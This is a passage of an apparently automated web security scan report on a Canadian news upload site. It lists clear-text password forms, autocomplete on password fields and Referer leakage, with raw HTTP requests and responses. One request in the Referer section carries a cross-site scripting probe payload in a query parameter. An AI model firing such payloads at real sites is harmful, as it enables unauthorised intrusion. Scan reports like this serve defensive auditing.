X-Powered-By: PHP/5.2.6-1+lenny9
X-FM: www2
X-UA-Compatible: IE=Edge
P3P: CP="IDC DSP COR CURa ADMa OUR IND PHY ONL COM STA"
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Type: text/html; encoding=utf-8;charset=utf-8
X-Cache-Lookup: MISS from www2.filemobile.com:80
Via: 1.1 www2.filemobile.com:80 (squid/2.7.STABLE3)
Connection: keep-alive
Content-Length: 28872

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<met
...[SNIP]...
</script>
<form onsubmit="return loginValidator.submit ( this );" action="/action/login" method="post">
<fieldset class="fmForm">
...[SNIP]...
<div style="margin-top: 10px; margin-left: 10px"><input type="password" class="fmPasswordField required" name="password" id="password"></div>
...[SNIP]...

2.3. http://mynews.ctv.ca/upload  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://mynews.ctv.ca
Path:   /upload

Issue detail

The page contains a form with the following action URL, which is submitted over clear-text HTTP:The form contains the following password field:

Request

GET /upload?siteT=toronto HTTP/1.1
Accept: image/jpeg, image/gif, image/pjpeg, application/x-ms-application, application/xaml+xml, application/x-ms-xbap, */*
Referer: http://toronto.ctv.ca/servlet/HTMLTemplate/?tf=ctvlocal%2Fhub%2FhubCap.html&cf=ctvlocal%2Ftoronto990.cfg&hub=Toronto&page=search&site_codename=Toronto&query=%3E%3E&x=27&y=3
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: mynews.ctv.ca
Proxy-Connection: Keep-Alive
Cookie: __utma=67845710.776942626.1290228241.1290228241.1290228241.1; __utmb=67845710.9.10.1290228241; __utmc=67845710; __utmz=67845710.1290228241.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_cc=true; s_sq=ctvgmctv%2Cctvgmglobal%3D%2526pid%253DCTV_Toronto%25253Actvnews%252520%25253A%252520affiliate%252520%25253A%252520toronto%252520%25253A%252520search%252520%25253A%252520search%2526pidt%253D1%2526oid%253Dhttp%25253A//mynews.ctv.ca/upload%25253FsiteT%25253Dtoronto%2526ot%253DA%2526oi%253D160; s_vi=[CS]v1|2673A92E051D01DA-40000107600D520E[CE]

Response

HTTP/1.0 200 OK
Date: Sat, 20 Nov 2010 04:52:02 GMT
Server: Apache/2.2.9 (Debian) PHP/5.2.6-1+lenny9 with Suhosin-Patch
X-Powered-By: PHP/5.2.6-1+lenny9
X-FM: www2
X-UA-Compatible: IE=Edge
P3P: CP="IDC DSP COR CURa ADMa OUR IND PHY ONL COM STA"
Set-Cookie: SABRE_ID=ce335cd639139dcdc26634abb485da12; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Type: text/html; encoding=utf-8;charset=utf-8
X-Cache-Lookup: MISS from www2.filemobile.com:80
Via: 1.1 www2.filemobile.com:80 (squid/2.7.STABLE3)
Connection: keep-alive
Content-Length: 42129

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<met
...[SNIP]...
</script>
<form onsubmit="return loginValidator.submit ( this );" action="/action/login" method="post">
<fieldset class="fmForm">
...[SNIP]...
<div style="margin-top: 10px; margin-left: 10px"><input type="password" class="fmPasswordField required" name="password" id="password"></div>
...[SNIP]...

2.4. http://mynews.ctv.ca/upload  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://mynews.ctv.ca
Path:   /upload

Issue detail

The page contains a form with the following action URL, which is submitted over clear-text HTTP:The form contains the following password fields:

Request

GET /upload?siteT=toronto HTTP/1.1
Accept: image/jpeg, image/gif, image/pjpeg, application/x-ms-application, application/xaml+xml, application/x-ms-xbap, */*
Referer: http://toronto.ctv.ca/servlet/HTMLTemplate/?tf=ctvlocal%2Fhub%2FhubCap.html&cf=ctvlocal%2Ftoronto990.cfg&hub=Toronto&page=search&site_codename=Toronto&query=%3E%3E&x=27&y=3
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: mynews.ctv.ca
Proxy-Connection: Keep-Alive
Cookie: __utma=67845710.776942626.1290228241.1290228241.1290228241.1; __utmb=67845710.9.10.1290228241; __utmc=67845710; __utmz=67845710.1290228241.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_cc=true; s_sq=ctvgmctv%2Cctvgmglobal%3D%2526pid%253DCTV_Toronto%25253Actvnews%252520%25253A%252520affiliate%252520%25253A%252520toronto%252520%25253A%252520search%252520%25253A%252520search%2526pidt%253D1%2526oid%253Dhttp%25253A//mynews.ctv.ca/upload%25253FsiteT%25253Dtoronto%2526ot%253DA%2526oi%253D160; s_vi=[CS]v1|2673A92E051D01DA-40000107600D520E[CE]

Response

HTTP/1.0 200 OK
Date: Sat, 20 Nov 2010 04:52:02 GMT
Server: Apache/2.2.9 (Debian) PHP/5.2.6-1+lenny9 with Suhosin-Patch
X-Powered-By: PHP/5.2.6-1+lenny9
X-FM: www2
X-UA-Compatible: IE=Edge
P3P: CP="IDC DSP COR CURa ADMa OUR IND PHY ONL COM STA"
Set-Cookie: SABRE_ID=ce335cd639139dcdc26634abb485da12; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Type: text/html; encoding=utf-8;charset=utf-8
X-Cache-Lookup: MISS from www2.filemobile.com:80
Via: 1.1 www2.filemobile.com:80 (squid/2.7.STABLE3)
Connection: keep-alive
Content-Length: 42129

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<met
...[SNIP]...
</script>

<form action="/action/reglite" id="c477a68654" onsubmit="return validator.submit(this);" method="post" >
<input type="hidden" style="display:none" name="fm_token" value="53c7b5b227a1e0a0bb42ca8bffb220db" />
...[SNIP]...
<div style="margin-left: 10px; margin-top: 10px"><input type="password" class="fmTextInput fmPassword fmPasswordField required" id="fmSignUpPassword" name="password" /></div>
...[SNIP]...
<div style="margin-left: 10px"><input type="password" class="fmTextInput fmPasswordConfirm fmPasswordCheckField" id="fmSignUpPassword2" name="password2" /></div>
...[SNIP]...

3. Password field with autocomplete enabled  previous  next
There are 4 instances of this issue:

Issue background

Most browsers have a facility to remember user credentials that are entered into HTML forms. This function can be configured by the user and also by applications which employ user credentials. If the function is enabled, then credentials entered by the user are stored on their local computer and retrieved by the browser on future visits to the same application.

The stored credentials can be captured by an attacker who gains access to the computer, either locally or through some remote compromise. Further, methods have existed whereby a malicious web site can retrieve the stored credentials for other applications, by exploiting browser vulnerabilities or through application-level cross-domain attacks.

Issue remediation

To prevent browsers from storing credentials entered into HTML forms, you should include the attribute autocomplete="off" within the FORM tag (to protect all form fields) or within the relevant INPUT tags (to protect specific individual fields).


3.1. http://mynews.ctv.ca/login  previous  next

Summary

Severity:   Low
Confidence:   Certain
Host:   http://mynews.ctv.ca
Path:   /login

Issue detail

The page contains a form with the following action URL:The form contains the following password field with autocomplete enabled:

Request

GET /login?msg=incorrectcredentials&redirecturl=%2Fupload%3FsiteT%3Dtoronto HTTP/1.1
Accept: image/jpeg, image/gif, image/pjpeg, application/x-ms-application, application/xaml+xml, application/x-ms-xbap, */*
Referer: http://mynews.ctv.ca/upload?siteT=toronto
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: mynews.ctv.ca
Proxy-Connection: Keep-Alive
Pragma: no-cache
Cookie: __utma=67845710.776942626.1290228241.1290228241.1290228241.1; __utmb=67845710.9.10.1290228241; __utmc=67845710; __utmz=67845710.1290228241.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_cc=true; s_sq=ctvgmctv%2Cctvgmglobal%3D%2526pid%253DCTV_Mynews.%25253Actvnews%252520%25253A%252520affiliate%252520%25253A%252520toronto%252520%25253A%252520mynews%252520%25253A%252520login%252520or%252520register%2526pidt%253D1%2526oid%253DLogin%2526oidt%253D3%2526ot%253DSUBMIT%2526oi%253D351; s_vi=[CS]v1|2673A92E051D01DA-40000107600D520E[CE]; SABRE_ID=ce335cd639139dcdc26634abb485da12; __utma=230519040.239715385.1290228663.1290228663.1290228663.1; __utmb=230519040.1.10.1290228663; __utmc=230519040; __utmz=230519040.1290228663.1.1.utmcsr=toronto.ctv.ca|utmccn=(referral)|utmcmd=referral|utmcct=/servlet/HTMLTemplate/

Response

HTTP/1.0 200 OK
Date: Sat, 20 Nov 2010 04:53:09 GMT
Server: Apache/2.2.9 (Debian) PHP/5.2.6-1+lenny9 with Suhosin-Patch
X-Powered-By: PHP/5.2.6-1+lenny9
X-FM: www2
X-UA-Compatible: IE=Edge
P3P: CP="IDC DSP COR CURa ADMa OUR IND PHY ONL COM STA"
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Type: text/html; encoding=utf-8;charset=utf-8
X-Cache-Lookup: MISS from www2.filemobile.com:80
Via: 1.1 www2.filemobile.com:80 (squid/2.7.STABLE3)
Connection: keep-alive
Content-Length: 28872

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<met
...[SNIP]...
</script>
<form onsubmit="return loginValidator.submit ( this );" action="/action/login" method="post">
<fieldset class="fmForm">
...[SNIP]...
<div style="margin-top: 10px; margin-left: 10px"><input type="password" class="fmPasswordField required" name="password" id="password"></div>
...[SNIP]...

3.2. http://mynews.ctv.ca/login  previous  next

Summary

Severity:   Low
Confidence:   Certain
Host:   http://mynews.ctv.ca
Path:   /login

Issue detail

The page contains a form with the following action URL:The form contains the following password fields with autocomplete enabled:

Request

GET /login?msg=incorrectcredentials&redirecturl=%2Fupload%3FsiteT%3Dtoronto HTTP/1.1
Accept: image/jpeg, image/gif, image/pjpeg, application/x-ms-application, application/xaml+xml, application/x-ms-xbap, */*
Referer: http://mynews.ctv.ca/upload?siteT=toronto
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: mynews.ctv.ca
Proxy-Connection: Keep-Alive
Pragma: no-cache
Cookie: __utma=67845710.776942626.1290228241.1290228241.1290228241.1; __utmb=67845710.9.10.1290228241; __utmc=67845710; __utmz=67845710.1290228241.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_cc=true; s_sq=ctvgmctv%2Cctvgmglobal%3D%2526pid%253DCTV_Mynews.%25253Actvnews%252520%25253A%252520affiliate%252520%25253A%252520toronto%252520%25253A%252520mynews%252520%25253A%252520login%252520or%252520register%2526pidt%253D1%2526oid%253DLogin%2526oidt%253D3%2526ot%253DSUBMIT%2526oi%253D351; s_vi=[CS]v1|2673A92E051D01DA-40000107600D520E[CE]; SABRE_ID=ce335cd639139dcdc26634abb485da12; __utma=230519040.239715385.1290228663.1290228663.1290228663.1; __utmb=230519040.1.10.1290228663; __utmc=230519040; __utmz=230519040.1290228663.1.1.utmcsr=toronto.ctv.ca|utmccn=(referral)|utmcmd=referral|utmcct=/servlet/HTMLTemplate/

Response

HTTP/1.0 200 OK
Date: Sat, 20 Nov 2010 04:53:09 GMT
Server: Apache/2.2.9 (Debian) PHP/5.2.6-1+lenny9 with Suhosin-Patch
X-Powered-By: PHP/5.2.6-1+lenny9
X-FM: www2
X-UA-Compatible: IE=Edge
P3P: CP="IDC DSP COR CURa ADMa OUR IND PHY ONL COM STA"
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Type: text/html; encoding=utf-8;charset=utf-8
X-Cache-Lookup: MISS from www2.filemobile.com:80
Via: 1.1 www2.filemobile.com:80 (squid/2.7.STABLE3)
Connection: keep-alive
Content-Length: 28872

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<met
...[SNIP]...
</script>

<form action="/action/reglite" id="2adb3b3e9e" onsubmit="return validator.submit(this);" method="post" >
<input type="hidden" style="display:none" name="fm_token" value="53c7b5b227a1e0a0bb42ca8bffb220db" />
...[SNIP]...
<div style="margin-left: 10px; margin-top: 10px"><input type="password" class="fmTextInput fmPassword fmPasswordField required" id="fmSignUpPassword" name="password" /></div>
...[SNIP]...
<div style="margin-left: 10px"><input type="password" class="fmTextInput fmPasswordConfirm fmPasswordCheckField" id="fmSignUpPassword2" name="password2" /></div>
...[SNIP]...

3.3. http://mynews.ctv.ca/upload  previous  next

Summary

Severity:   Low
Confidence:   Certain
Host:   http://mynews.ctv.ca
Path:   /upload

Issue detail

The page contains a form with the following action URL:The form contains the following password fields with autocomplete enabled:

Request

GET /upload?siteT=toronto HTTP/1.1
Accept: image/jpeg, image/gif, image/pjpeg, application/x-ms-application, application/xaml+xml, application/x-ms-xbap, */*
Referer: http://toronto.ctv.ca/servlet/HTMLTemplate/?tf=ctvlocal%2Fhub%2FhubCap.html&cf=ctvlocal%2Ftoronto990.cfg&hub=Toronto&page=search&site_codename=Toronto&query=%3E%3E&x=27&y=3
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: mynews.ctv.ca
Proxy-Connection: Keep-Alive
Cookie: __utma=67845710.776942626.1290228241.1290228241.1290228241.1; __utmb=67845710.9.10.1290228241; __utmc=67845710; __utmz=67845710.1290228241.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_cc=true; s_sq=ctvgmctv%2Cctvgmglobal%3D%2526pid%253DCTV_Toronto%25253Actvnews%252520%25253A%252520affiliate%252520%25253A%252520toronto%252520%25253A%252520search%252520%25253A%252520search%2526pidt%253D1%2526oid%253Dhttp%25253A//mynews.ctv.ca/upload%25253FsiteT%25253Dtoronto%2526ot%253DA%2526oi%253D160; s_vi=[CS]v1|2673A92E051D01DA-40000107600D520E[CE]

Response

HTTP/1.0 200 OK
Date: Sat, 20 Nov 2010 04:52:02 GMT
Server: Apache/2.2.9 (Debian) PHP/5.2.6-1+lenny9 with Suhosin-Patch
X-Powered-By: PHP/5.2.6-1+lenny9
X-FM: www2
X-UA-Compatible: IE=Edge
P3P: CP="IDC DSP COR CURa ADMa OUR IND PHY ONL COM STA"
Set-Cookie: SABRE_ID=ce335cd639139dcdc26634abb485da12; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Type: text/html; encoding=utf-8;charset=utf-8
X-Cache-Lookup: MISS from www2.filemobile.com:80
Via: 1.1 www2.filemobile.com:80 (squid/2.7.STABLE3)
Connection: keep-alive
Content-Length: 42129

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<met
...[SNIP]...
</script>

<form action="/action/reglite" id="c477a68654" onsubmit="return validator.submit(this);" method="post" >
<input type="hidden" style="display:none" name="fm_token" value="53c7b5b227a1e0a0bb42ca8bffb220db" />
...[SNIP]...
<div style="margin-left: 10px; margin-top: 10px"><input type="password" class="fmTextInput fmPassword fmPasswordField required" id="fmSignUpPassword" name="password" /></div>
...[SNIP]...
<div style="margin-left: 10px"><input type="password" class="fmTextInput fmPasswordConfirm fmPasswordCheckField" id="fmSignUpPassword2" name="password2" /></div>
...[SNIP]...

3.4. http://mynews.ctv.ca/upload  previous  next

Summary

Severity:   Low
Confidence:   Certain
Host:   http://mynews.ctv.ca
Path:   /upload

Issue detail

The page contains a form with the following action URL:The form contains the following password field with autocomplete enabled:

Request

GET /upload?siteT=toronto HTTP/1.1
Accept: image/jpeg, image/gif, image/pjpeg, application/x-ms-application, application/xaml+xml, application/x-ms-xbap, */*
Referer: http://toronto.ctv.ca/servlet/HTMLTemplate/?tf=ctvlocal%2Fhub%2FhubCap.html&cf=ctvlocal%2Ftoronto990.cfg&hub=Toronto&page=search&site_codename=Toronto&query=%3E%3E&x=27&y=3
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: mynews.ctv.ca
Proxy-Connection: Keep-Alive
Cookie: __utma=67845710.776942626.1290228241.1290228241.1290228241.1; __utmb=67845710.9.10.1290228241; __utmc=67845710; __utmz=67845710.1290228241.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_cc=true; s_sq=ctvgmctv%2Cctvgmglobal%3D%2526pid%253DCTV_Toronto%25253Actvnews%252520%25253A%252520affiliate%252520%25253A%252520toronto%252520%25253A%252520search%252520%25253A%252520search%2526pidt%253D1%2526oid%253Dhttp%25253A//mynews.ctv.ca/upload%25253FsiteT%25253Dtoronto%2526ot%253DA%2526oi%253D160; s_vi=[CS]v1|2673A92E051D01DA-40000107600D520E[CE]

Response

HTTP/1.0 200 OK
Date: Sat, 20 Nov 2010 04:52:02 GMT
Server: Apache/2.2.9 (Debian) PHP/5.2.6-1+lenny9 with Suhosin-Patch
X-Powered-By: PHP/5.2.6-1+lenny9
X-FM: www2
X-UA-Compatible: IE=Edge
P3P: CP="IDC DSP COR CURa ADMa OUR IND PHY ONL COM STA"
Set-Cookie: SABRE_ID=ce335cd639139dcdc26634abb485da12; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Type: text/html; encoding=utf-8;charset=utf-8
X-Cache-Lookup: MISS from www2.filemobile.com:80
Via: 1.1 www2.filemobile.com:80 (squid/2.7.STABLE3)
Connection: keep-alive
Content-Length: 42129

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<met
...[SNIP]...
</script>
<form onsubmit="return loginValidator.submit ( this );" action="/action/login" method="post">
<fieldset class="fmForm">
...[SNIP]...
<div style="margin-top: 10px; margin-left: 10px"><input type="password" class="fmPasswordField required" name="password" id="password"></div>
...[SNIP]...

4. Cross-domain Referer leakage  previous  next
There are 6 instances of this issue:

Issue background

When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.

If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is not fully trusted by the application, then this may lead to a security compromise.

You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.

Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behaviour should not be relied upon to protect the originating URL from disclosure.

Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.

Issue remediation

The application should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties.


4.1. http://mynews.ctv.ca//servlet/HTMLTemplate/  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://mynews.ctv.ca
Path:   //servlet/HTMLTemplate/

Issue detail

The page was loaded from a URL containing a query string:The response contains the following links to other domains:

Request

GET //servlet/HTMLTemplate/?tf=ctvlocal%2Fhub%2FhubCap.html&cf=ctvlocal%2Ftoronto990.cfg&hub=Toronto&page=search&site_codename=Toronto&query=%27%277c67e"><script>alert(1)</script>3d824a34752&x=24&y=6 HTTP/1.1
Accept: image/jpeg, image/gif, image/pjpeg, application/x-ms-application, application/xaml+xml, application/x-ms-xbap, */*
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Proxy-Connection: Keep-Alive
Host: mynews.ctv.ca
Cookie: __utma=67845710.776942626.1290228241.1290228241.1290228241.1; __utmb=67845710.12.10.1290228241; __utmc=67845710; __utmz=67845710.1290228241.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_cc=true; s_sq=%5B%5BB%5D%5D; s_vi=[CS]v1|2673A92E051D01DA-40000107600D520E[CE]; SABRE_ID=32f819b6f25896ac34946b80bd07f6c9; __utma=230519040.239715385.1290228663.1290228663.1290228663.1; __utmb=230519040.4.10.1290228663; __utmc=230519040; __utmz=230519040.1290228663.1.1.utmcsr=toronto.ctv.ca|utmccn=(referral)|utmcmd=referral|utmcct=/servlet/HTMLTemplate/

Response

HTTP/1.0 200 OK
Date: Sat, 20 Nov 2010 04:59:41 GMT
Server: Apache/2.2.9 (Debian) PHP/5.2.6-1+lenny9 with Suhosin-Patch
X-Powered-By: PHP/5.2.6-1+lenny9
X-FM: www2
X-UA-Compatible: IE=Edge
P3P: CP="IDC DSP COR CURa ADMa OUR IND PHY ONL COM STA"
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Type: text/html; encoding=utf-8;charset=utf-8
X-Cache-Lookup: MISS from www2.filemobile.com:80
Via: 1.1 www2.filemobile.com:80 (squid/2.7.STABLE3)
Connection: keep-alive
Content-Length: 9414

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<meta http-equiv="X-UA-Compatible" content="IE=8" />
<link rel="shortcut icon" href="http://assets.filemobile.com/55/favicon.ico" type="image/x-icon"/>

<script type="text/javascript">
...[SNIP]...
</script>


<script language="javascript1.1" src="http://www.ctv.ca/generic/dynInclude/ads/js/siteBannerC2.js"></script>
...[SNIP]...
<![endif]-->


<script language="JavaScript" type="text/javascript" src="http://www.ctv.ca/generic/js/shared990/common.js"></script>
...[SNIP]...
</style>


<link rel="shortcut icon" href="http://images.ctv.ca/favicon.gif" type="image/x-icon" />


<script type="text/javascript" src="http://www.ctv.ca/v2/inc/newsHeaderStaticJS.js"></script>
...[SNIP]...
<div id="FilemobileGenuineAdvantage" style="padding: 10px 0; width: 110px">
<a href="http://www.filemobile.com" title="Powered by Filemobile">
<img src="http://assets.filemobile.com/2/FM_logos/powered_white_BW_MF.png" style="border:none; width: 110px; height:40px; behavior: url(/jslib/iepngfix.htc);"/>
</a>
...[SNIP]...
</style>
<link href="http://www.ctv.ca/v2/css/footer.css" rel="stylesheet" type="text/css" media="all"/>
<script type="text/javascript" src="http://www.ctv.ca/v2/inc/galleryFooterJS.js"></script>
...[SNIP]...

4.2. http://mynews.ctv.ca/login  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://mynews.ctv.ca
Path:   /login

Issue detail

The page was loaded from a URL containing a query string:The response contains the following links to other domains:

Request

GET /login?msg=incorrectcredentials&redirecturl=%2Fupload%3FsiteT%3Dtoronto HTTP/1.1
Accept: image/jpeg, image/gif, image/pjpeg, application/x-ms-application, application/xaml+xml, application/x-ms-xbap, */*
Referer: http://mynews.ctv.ca/upload?siteT=toronto
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: mynews.ctv.ca
Proxy-Connection: Keep-Alive
Pragma: no-cache
Cookie: __utma=67845710.776942626.1290228241.1290228241.1290228241.1; __utmb=67845710.9.10.1290228241; __utmc=67845710; __utmz=67845710.1290228241.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_cc=true; s_sq=ctvgmctv%2Cctvgmglobal%3D%2526pid%253DCTV_Mynews.%25253Actvnews%252520%25253A%252520affiliate%252520%25253A%252520toronto%252520%25253A%252520mynews%252520%25253A%252520login%252520or%252520register%2526pidt%253D1%2526oid%253DLogin%2526oidt%253D3%2526ot%253DSUBMIT%2526oi%253D351; s_vi=[CS]v1|2673A92E051D01DA-40000107600D520E[CE]; SABRE_ID=ce335cd639139dcdc26634abb485da12; __utma=230519040.239715385.1290228663.1290228663.1290228663.1; __utmb=230519040.1.10.1290228663; __utmc=230519040; __utmz=230519040.1290228663.1.1.utmcsr=toronto.ctv.ca|utmccn=(referral)|utmcmd=referral|utmcct=/servlet/HTMLTemplate/

Response

HTTP/1.0 200 OK
Date: Sat, 20 Nov 2010 04:53:09 GMT
Server: Apache/2.2.9 (Debian) PHP/5.2.6-1+lenny9 with Suhosin-Patch
X-Powered-By: PHP/5.2.6-1+lenny9
X-FM: www2
X-UA-Compatible: IE=Edge
P3P: CP="IDC DSP COR CURa ADMa OUR IND PHY ONL COM STA"
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Type: text/html; encoding=utf-8;charset=utf-8
X-Cache-Lookup: MISS from www2.filemobile.com:80
Via: 1.1 www2.filemobile.com:80 (squid/2.7.STABLE3)
Connection: keep-alive
Content-Length: 28872

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<meta http-equiv="X-UA-Compatible" content="IE=8" />
<link rel="shortcut icon" href="http://assets.filemobile.com/55/favicon.ico" type="image/x-icon"/>

<script type="text/javascript">
...[SNIP]...
</script>


<script language="javascript1.1" src="http://www.ctv.ca/generic/dynInclude/ads/js/siteBannerC2.js"></script>
...[SNIP]...
<![endif]-->


<script language="JavaScript" type="text/javascript" src="http://www.ctv.ca/generic/js/shared990/common.js"></script>
...[SNIP]...
</style>


<link rel="shortcut icon" href="http://images.ctv.ca/favicon.gif" type="image/x-icon" />


<script type="text/javascript" src="http://www.ctv.ca/v2/inc/newsHeaderStaticJS.js"></script>
...[SNIP]...
</a>
<a href="http://www.newsstar.ctv.ca/" class="menulink">News Star</a>
<a href="http://www.weatherstar.ctv.ca/" class="menulink">Weather Star</a>
...[SNIP]...
<br/>
<img src="http://assets.filemobile.com/43/images/140_mynewsmug.jpg">


</td>
...[SNIP]...
<a href="/upload?siteT=">

<img src="http://assets.filemobile.com/43/images/uploadNow.jpg" border="0"/></a>
...[SNIP]...
<td id="mainTableRightContainer">

<iframe src="http://www.ctv.ca/mar/static/mapMN.html" width="304" height="204" frameborder="0" scrolling="no"></iframe>
...[SNIP]...
<div style="padding-left:5px; padding-top:6px; padding-right:4px">
<img src="http://assets.filemobile.com/43/images/110_gmap.jpg" border="0"></a>
...[SNIP]...
<td><img src="http://assets.filemobile.com/43/images/phone.jpg"/></td>
...[SNIP]...
</script><script language="javascript1.1" src="http://www.ctv.ca/mar/hbx/hbx.js"></script>
...[SNIP]...
<div id="FilemobileGenuineAdvantage" style="padding: 10px 0; width: 110px">
<a href="http://www.filemobile.com" title="Powered by Filemobile">
